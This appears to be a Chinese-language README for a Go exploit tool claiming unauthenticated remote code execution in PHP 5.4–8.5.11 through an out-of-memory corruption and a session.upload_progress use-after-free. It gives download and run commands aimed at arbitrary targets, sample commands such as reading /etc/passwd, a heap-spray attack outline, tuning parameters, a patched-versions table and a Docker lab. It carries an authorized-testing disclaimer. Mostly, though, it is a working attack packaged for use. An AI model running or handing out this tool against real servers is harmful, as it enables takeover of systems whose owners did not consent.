[PHP2Shell] 针对 CVE-2026-109618 / CVE-2026-109619 的 Golang 漏洞利用程序:通过 OOM 内存破坏 + session.upload_progress 释放后使用(UAF)实现 PHP 5.4–8.5.11 中的未认证远程代码执行(RCE)
PHP 5.4.0 – 8.5.11 中的未认证远程代码执行(所有 Web 服务器)。
CVSS 9.2 严重 · 修复于 2026-10-21 · CISA KEV 2026-10-26
仅限授权的安全测试——仅限在您拥有或已获得明确书面许可进行测试的系统上使用。
go install(最快,需要 Go 1.22+)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
未安装 Go?30 秒内即可完成安装:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
预编译二进制文件已附加到每个 GitHub Release。
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
当推送新标签时,二进制文件由 GitHub Actions 自动构建。
如果curl返回一个显示“Not found”的小文件,说明还没有发布版本——请改用选项 A。
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
PHP 存在两个由精心构造的 multipart/form-data HTTP POST 请求触发的严重内存安全漏洞:
| CVE | 类型 | 触发条件 |
|---|---|---|
| CVE-2026-109618 | 内存损坏(OOM) | 大型 multipart 字段在解析过程中耗尽 memory_limit,longjmp() 在部分初始化的状态上触发 |
| CVE-2026-109619 | 释放后使用(Use-after-free) | PHP_SESSION_UPLOAD_PROGRESS 字段读取了先前请求中已释放的 worker 内存 |
这两个漏洞均无需登录、无需特殊端点,也无需任何应用代码——它们在任何 .php 脚本运行之前就在 PHP 引擎内部触发。
有关带注释 HTTP 请求的完整技术分析,请参阅 docs/vulnerability.md。
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| 参数 | 默认值 | 描述 |
|---|---|---|
-target | 必填 | 基础 URL,例如 http://192.168.1.10 |
-path | /index.php | PHP 端点路径 |
-cmd | id | 要执行的操作系统命令 |
-mode | auto | auto / modphp / fpm |
-workers | 8 | 用于喷射的 worker 槽位数量 |
-oom-parts | 30 | 阶段 1 中的 multipart 字段数量 |
-part-size | 204800 | 每个字段的字节数(200 KB) |
-spray-size | 131072 | 堆喷射大小(128 KB) |
-timeout | 15s | 每个请求的超时时间 |
-verbose | false | 打印原始响应体 |
-leak-only | false | 仅进行内存泄漏(ASLR 分析) |
| 分支 | 最后受影响版本 | 修复版本 |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | 全部 | 无上游补丁 — 请使用发行版 backport |
sandbox/ 目录包含一个现成的存在漏洞的目标环境(PHP 8.4.26 + Apache mod_php),其默认设置会暴露两个 CVE。
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only